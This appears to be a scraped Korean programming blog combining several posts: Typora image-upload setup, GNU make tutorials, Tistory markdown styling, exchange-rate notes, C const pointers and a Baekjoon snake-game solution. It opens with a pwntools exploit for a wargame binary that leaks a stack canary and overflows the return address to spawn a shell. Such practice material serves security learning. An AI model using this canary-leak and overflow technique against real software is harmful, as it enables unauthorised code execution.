from pwn import *

context.arch = "x86"

p = process("./ssp_001")

#get canary
canary = "0x"
for i in range(0, 4):
    p.sendlineafter("> ", "P\n")
    p.sendlineafter("Element index : ", str((0x80 + i)))
    line = p.recvline()
    canary += line.decode('utf-8')[-3:-1]
print(canary)

canary = int(canary, 16).to_bytes(4, byteorder="big")
print("canary : {}".format(canary))
ret_addr = 0x080486b9 #get_shell
payload = b'A'*0x40 + canary + b'B'*0x8 + p32(ret_addr)
print(b"payload : " + payload)
print("payload len : " + str(len(payload)))


p.sendlineafter("> ", "E\n")
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)
p.interactive()

Typora 이미지 자동 업로드(Window)

목적

window typora에서 이미지를 삽입했을 때 이미지가 로컬에 저장되기 때문에 매우 불편했음.

근데 새로 기능이 업데이트 됨. 웹서버에 자동으로 업데이트할 수 있으며, 이 포스팅에서는 github에 이미지를 자동으로 업로드 하는 방법을 설명하겠음.

방법

  • ctrl + (,)를 눌러서 환경설정(혹은 [파일]의 환결성정)을 열고, 이미지 탭으로 갑니다.

image-20210613215700452

  • 위와 같이 셋팅합니다. 이미지를 삽입할 때마다 업로드하고 싶다면 When Insert에서는 Upload image를 선택합니다. Image Upload Setting에서는 PicGo-Core로 선택해야하며, Download or Upgrade를 눌러서 해당 기능을을 다운로드합니다.

  • 그리고 Open Config File 버튼을 눌러서 아래와 같이 Config를 만듭니다.

    {
      "picBed": {
        "current": "github",
        "github": {
          "repo": "github_user_name/repo_name",
          "token": "token을 생성해서 넣어야함.",
          "path": "img/",
          "branch": "main"
        }
      },
      "settings": {
        "showUpdateTip": true,
        "autoStart": true,
        "uploadNotification": true,
        "miniWindowOntop": true
      },
      "needReload": false,
      "picgoPlugins": {}
    }

    위 config에서 중요한 부분을 설명하겠습니다.

    repo에는 github user_name과 저장소 이름을 입력합니다. (예시 : "gildong-hong/image_repo")

    token은 github에서 생성 해야합니다. 아래 그림에서 빨간 버튼을 눌러서 token생성화면까지 갑니다.

    image-20210613220907843

    token 생성화면에서 아래와 같이 check하고 생성 버튼을 누릅니다.

    image-20210613221359707

    path는 github저장소에서의 path를 의미합니다. 저장소의 img 디렉토리에 이미지들이 업로드 되는 것이죠. 아래처럼요.

    image-20210613222105366

    branch는 저는 처음 생성할 때 main 브랜치로 되어있어서 main으로 셋팅했습니다. branch를 새로 생성하셔서 입력하셔도 됩니다.

  • 이렇게 config를 셋팅하고 나서 타이포라에 이미지를 삽입하면 자동으로 업로드가 됩니다.

2. Makefile

2.1 Makefile의 내부 구조

Makefile은 3가지의 rule들이 계속해서 나열됨.

target ... : dependency ...
                command
                ...
                ...
  • target(목표) : object file, 실행 file, make clean과 같은 label이다. command(명령)이 수행 되어서 나온 결과 파일을 지정한다.
  • dependency(의존 관계)
  • command(명령): command 부분에 정의된 것들은 아래의 상황에 차례대로 실행됨.(command는 TAB으로 시작해야함. 그래야 make가 command라고 인지함.)
    • dependency 부분에 정의된 file의 내용이 바뀌었거나,
    • target 부분에 해당하는 파일이 없을 때

 

2.2 Makefile 예제

시나리오

main.c, read.c, write.c와 io.h라는 헤더로 구성된 프로그램.

이들을 각각 컴파일하여 test라는 실행 파일을 생성시켜보자.

read.c, write.c, io.h 빈 파일을 생성했으며,

main.c로 "hello make"를 출력하는 코드를 삽입했다.

#include <stdio.h>

int main(){
    printf("hello make\n");
    return 0;
}

[make 사용 X]

gcc -c main.c
gcc -c read.c
gcc -c write.c

gcc -o test main.o read.o write.o

[make 사용 O]

test : main.o read.o write.o
        gcc -o test main.o read.o write.o

main.o : io.h main.c
            gcc -c main.c
read.o : io.h read.c
            gcc -c read.c
wrtie.o: io.h write.c
            gcc -c write.c

make를 실행하니 아래와 같이 .o(object file)과 test(실행 file)이 생성됐다.

의존 관계 텍스트 그림 출처 : http://doc.kldp.org/KoreanDoc/html/GNU-Make/GNU-Make-2.html

이 그림을 봤을 때, io.h는 모든 .c 파일이 의존하고 있다. 그렇기 때문에 io.h가 변경된다면 모든 파일이 다시 컴파일 됨을 그림을 통해 알 수 있다.

하지만, main.c만 수정됐다고 가정했을 때, main.c만 컴파일되어 main.o만 새로 생성된다. 그리고 test(실행 파일)이 갱신된다.

한 번 테스트 해보겠다.

우선 main.c만 수정해보겠다.

#include <stdio.h>

int main(){
    printf("hello make\n");
    printf("hello make2\n");
    return 0;
}

그리고 다시 make했다.

주황색 박스는 수정 전("hello make2"를 추가하기 전)이며, 노란색 박스는 수정 후의 make다.

예상했던 것처럼 노란색 박스에서는 main.c만 다시 컴파일 됐으며, test 실행 파일이 새로 생성됐다.

이제 io.h를 수정했을 때 모든 파일이 다시 컴파일 되는지 아래와 같이 io.h만 수정해보겠다.

아래는 아무 의미없는 코드이다.

#define COMPILE_TEST 0

그리고 다시 make 해보겠다.

?? 모든 파일이 다시 컴파일될 것이라 예상했던 것과 다르게 write.o는 다시 생성되지 않은 모양이다. 영문을 모르겠다. 조만간 지인 찬스를 사용하여 답변하겠다.

 

2.3 매크로의 사용

OBJECTS = main.o read.o write.o

test : $(OBJECTS)
                gcc -o test $(OBJECTS)

main.o : io.h main.c
                gcc -c main.c
read.o : io.h read.c
                gcc -c read.c
write.o: io.h write.c
                gcc -c write.c

OBJECT라는 매크로를 만들었다. 매크로를 사용할 때는 위 코드와 같이 $(매크로명)을 사용한다.

 

2.4 레이블(label)의 사용

target 부분에 해당하는 부분이 label과 같이 사용될 수도 있다.

아래 코드는 object파일을 모두 삭제하는 명령어를 추가하였다.

OBJECTS = main.o read.o write.o

test : $(OBJECTS)
                gcc -o test $(OBJECTS)

main.o : io.h main.c
                gcc -c main.c
read.o : io.h read.c
                gcc -c read.c
write.o: io.h write.c
                gcc -c write.c

clean :
                rm $(OBECTS)

'임베디드 > make' 카테고리의 다른 글

1. GNU make란?  (0) 2021.03.18

make

출처 : GNU make 강좌

이 글을 작성하는 목적은 공부하고 정리를 하기 위함이다.

위 사이트를 가면 당연히 좀 더 상세한 설명이 있다.

그리고 make는 임베디드의 영역은 아니다.

임베디드 카테고리 아래 있는 것은 내가 임베디드 공부를 하다가 make공부를 시작했기에..

1. make??

1.1 make 유틸리티

make 유틸리티의 목적은 프로그램 그룹 중 새롭게 컴파일해야하는 부분을 자동으로 판단해서 필요한 커맨드(gcc 등)를 이용해서 re컴파일 시킴.

GNU make는 아래 세가지 파일 중에서 하나가 있으면 읽는다.

  • GNUmakefile
  • Makefile (일반적으로 사용)
  • makefile

1.2 make 필요성

  • 규모가 클 때 컴파일해야 할 파일을 놓칠 수 있음. (링크 에러 등)
  • 컴파일하지 않아도 될 파일을 컴파일할 수 있음.

'임베디드 > make' 카테고리의 다른 글

2. Makefile  (0) 2021.03.18

.md 프로그램

저는 마크다운(.md) 작성을 위해 typora라는 프로그램을 사용하고 있습니다.

https://typora.io/ 여기서 다운로드 하시면 됩니다.

타이포라의 기본 테마 셋팅은 github으로 돼있는듯 합니다.

타이포라를 실행 후 ctrl과 ,(쉼표)를 누르면 환결설정이 나오는데 여기서 확인할 수 있습니다.

 

티스토리에서 .md github theme 사용하기

먼저 여기를 눌러서 파일 다운로드하세요

그리고 티스토리 블로그 설정에서

[꾸미기] - [스킨 편집] - 우측의 [html 편집] 으로 들어갑니다.

여기서 [파일업로드]를 누르시고 방금 위 링크에서 다운로드한 github-markdown.css를 업로드합니다.

그리고 html 탭으로 넘어와서태그 사이에 아래 코드를 삽입하고 적용합니다.

<link rel="stylesheet" href="./images/github-markdown.css">

아래처럼 말입니다.

그 후에 타이포라에서 작성한 .md에 있는 내용을 복사하여 티스토리에 붙여쓰면 아래처럼 나옵니다.(위의 테마적용을 하지 않아도 마크 다운을 누르고 붙여넣으면 아래처럼 나옴)

이제 붙여넣은 글이 어떻게 나오는지 [미리보기]를 눌러 확인해보겠습니다.

 

환율이란?

  • 두 나라의 값어치를 비교한 값.

  • 달러/원 : 달러를 기준으로 원의 가치를 매김. '달러/원' 환율의 상승은 원화 대비 달러의 가치가 상승했음을 의미.

인플레이션/디플레이션

  • 인플레이션 : 물가 상승을 의미. 물건의 가격이 오름을 의미할 수도 있지만, 돈의 가치가 하락했음을 의미할 수 있음.

  • 디플레이션 : 물가 하락을 의미.

달러 수요/공급

  • 수출이 잘된다 -> 외국에서 달러를 받고 물건을 판다. -> 한국에 달러가 많아진다. -> 달러가 많아지면 공급이 많아지니 달러의 가치가 하락한다.

  • 수출이 안된다. -> 위와 반대

  • 국제유가 상승 -> 기름을 사느라 달러 소비 -> 달러가 줄어듬 -> 달러 가치 상승. (유가가 상승하기 전에 달러를 많이 사면 좋으려나??)

주식과 채권/부동산

  • 한국 주식

    • 한국 주식에 외국인의 수요가 생김.
    • 한국 주식과 채권을 사기위해 원화를 사기 때문에 원화 가치가 높아짐. '달러/원' 환율 하락
    • 외국인이 환전한 원화로 한국 주식을 매수하면 한국 주가는 상승
    • 결론적으로 외국인이 한국 주식을 매수한다면 '달러/원' 환율 하락, 그리고 한국 주가 상승으로 이어짐.
  • 한국 채권/부동산

    • 한국 채권에 외국인의 수요가 생김
    • 주식과 같은 맥락으로 이어져서 '달러/원' 환율 하락, 채권 가격 상승이 됨. 채권 가격의 상승채권 금리의 하락을 의미함.
    • 금리가 하락하면 이자가 저렴하기 때문에 돈을 빌리기 쉬워짐. 이는 부동산에 대한 수요가 높아질 수 있음.

Const 위치

#include <stdio.h>

int main(){
   int a = 30;
   int b = 20;

   const int *p = &a;
   //*p = 40;
   /*
const.c: In function 'main':
const.c:8:8: error: assignment of read-only location '*p'
    *p = 40;
       ^
   */
   p = &b;
   
   int const *p2 = &a;
   //*p2 = 40;
   /*
const.c: In function 'main':
const.c:12:9: error: assignment of read-only location '*p2'
    *p2 = 40;
        ^
   */
   p2 = &b;

   int* const p3 = &a;
   //p3 = &b;
   /*
const.c: In function 'main':
const.c:16:8: error: assignment of read-only variable 'p3'
    p3 = &b;
       ^    
   */
   *p3 = 100;

   return 0;
}

첫번째

    const int *p = &a;
   //*p2 = 40;
   p2 = &b

const는 현재 int*에 걸려있는 것이다. 그래서 *p는 수정이 안되지만, p는 수정이 가능하다.

두번째

    int const *p2 = &a;
   //*p2 = 40;
   /*
const.c: In function 'main':
const.c:12:9: error: assignment of read-only location '*p2'
    *p2 = 40;
        ^
   */
   p2 = &b;

이 케이스 또한 첫번째와 마찬가지이다. const가 걸리는 대상은 *p2다. 그러므로 *p2의 값이 상수, p2는 수정 가능하다.

세번째

    int* const p3 = &a;
   //p3 = &b;
   /*
const.c: In function 'main':
const.c:16:8: error: assignment of read-only variable 'p3'
    p3 = &b;
       ^    
   */
   *p3 = 100;

const가 p3에 걸리는 case이다. 그러므로 p3가 상수여서 참조하는 값을 바꿀 수는 없으나 *p3의 값은 수정 가능하다.

일반적으로 const는 맨 앞에 붙이는 것을 선호한다고 한다.

'언어, git > C++' 카테고리의 다른 글

복사 생성자  (0) 2017.11.19
가상함수?  (0) 2017.11.19

BOJ 3190 뱀

대학교 동기들이 물어봐서 다시 한 번 풀어봤습니다.

문제에서 요구하는데로 그대로 따라하면 해결할 수 있습니다.

저는 map에서 0은 빈 공간, 1은 뱀을 나타내는 값, 2는 사과를 저장합니다.

turnInfo에는 문제에서 주어지는 L의 값들을 구조체로 저장했습니다.

나머지는 주석을 달아놓았습니다.

궁금한 점은 댓글달아주세요^^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <iostream>
#include <queue>
 
#define MAX_SIZE 100
#define mp make_pair
 
using namespace std;
 
typedef pair<intint> pii;
typedef struct {
    int sec;
    int dir;
}TurnInfo;
 
 
int n; //보드 크기
int map[MAX_SIZE][MAX_SIZE]; // 사과는 2, 뱀은 1, 맵은 0
TurnInfo turnInfo[MAX_SIZE];
int dx[4= { -1100 };
int dy[4= { 00-11 };
 
//오른쪽 : 위 -> 오, 아래 -> 왼, 오 -> 아, 왼 -> 위
//왼쪽 : 위 -> 왼, 아래 -> 오른, 오 -> 위, 왼 -> 아
 
//r : 0 -> 3, 1 -> 2, 3 -> 1, 2 -> 0
//l : 0 -> 2, 1 -> 3, 3 -> 0, 2 -> 1
 
int turn(int now, int next)
{
    if (next == 0// 왼쪽
    {
        if (now == 0 || now == 1return (now + 2) % 4;
        else return 3 - now;
    }
    else // 오른쪽
    {
        if (now == 0 || now == 1return 3 - now;
        else return (now + 2) % 4;
    }
}
 
bool isDead(pii headPos) {
    //벽을 박았는지
    if (headPos.first < 0 || headPos.second < 0 || headPos.first >= n || headPos.second >= n) {
        return 1;
    }
    //내 몸을 부딪혔는지?
    else if (map[headPos.first][headPos.second] == 1) {
        return 1;
    }
 
    //위에 속하지 않으면 살았다.
    return 0;
}
 
int main() {
    cin >> n;
 
    //사과 개수
    int k;
    cin >> k;
 
    //사과를 2로 맵에 표시
    for (int i = 0; i < k; i++) {
        int x, y;
        cin >> x >> y;
        map[x - 1][y - 1= 2;
    }
 
 
    //방향 변환 개수
    int l;
    cin >> l;
 
    //방향 변환 x는 시간 c는 방향
    for (int i = 0; i < l; i++) {
        int x;
        char c;
        cin >> x >> c;
 
        turnInfo[i].sec = x;
 
        if (c == 'L') {
            turnInfo[i].dir = 0;
        }
        else {
            turnInfo[i].dir = 1;
        }
    }
 
    //위에까지 인풋
    
    queue<pii> snakeTrace; // 뱀 자취
    int sec = 0// 현재 시간은 0
    int snakeDir = 3// 초기 방향 오른쪽
 
    pii headPos;//머리 위치
    headPos.first = headPos.second = 0// 뱀 머리 위치 0, 0으로
 
    //turnInfo 인덱스
    int turnInfoIdx = 0;
 
    //뱀이 죽지않으면 루프
    while (!isDead(headPos)) {
        //현재시간이 0이 아닌데 map이 0이면 꼬리가 잘려야함
        //맵은 0이면 빈공간, 1이면 뱀의 몸, 2이면 사과
        //sec != 0 이 조건은 시작점은 무조건 map이 0이기 때문에 시작하자마자 꼬리가 잘릴 순 없음
        if (sec != 0 && map[headPos.first][headPos.second] == 0) {    
            map[snakeTrace.front().first][snakeTrace.front().second] = 0;//꼬리의 map을 빈공간으로 만들어줌 즉, 잘라버림
            snakeTrace.pop();//내 몸을 보관하고 있는 큐에서 꼬리를 버림
        }
 
        //머리가 위치한 곳의 맵을 1로만들어줌
        map[headPos.first][headPos.second] = 1;
        snakeTrace.push(headPos);//뱀의 머리를 넣기
 
        //turnInfoIdx가 입력받은 l보다 작아야함 같거나 크다면 방향을 전환할 곳이 없으므로 가던곳으로 가야함
        if (turnInfoIdx < l) {
            if (sec == turnInfo[turnInfoIdx].sec) {//현재시간과 방향전환해야하는 시간이 같으면
                snakeDir = turn(snakeDir, turnInfo[turnInfoIdx].dir);//뱀의 방향을 전환해줌
                turnInfoIdx++;//턴정보 인덱스 증가
            }
        }
 
        //뱀의 머리를 다음 위치로 이동시킴
        headPos.first += dx[snakeDir];
        headPos.second += dy[snakeDir];
        sec++;    //시간증가
    }
 
    cout << sec;
 
    return 0;
}
cs


'알고리즘 > 구현' 카테고리의 다른 글

[2140] 지뢰찾기  (0) 2017.12.27
[12845] 모두의 마블  (0) 2017.08.26
[12841] 정보대 등산  (0) 2017.08.23
[1700] 멀티탭 스케줄링  (0) 2017.08.01
[1992] 쿼드 트리  (0) 2017.07.30

+ Recent posts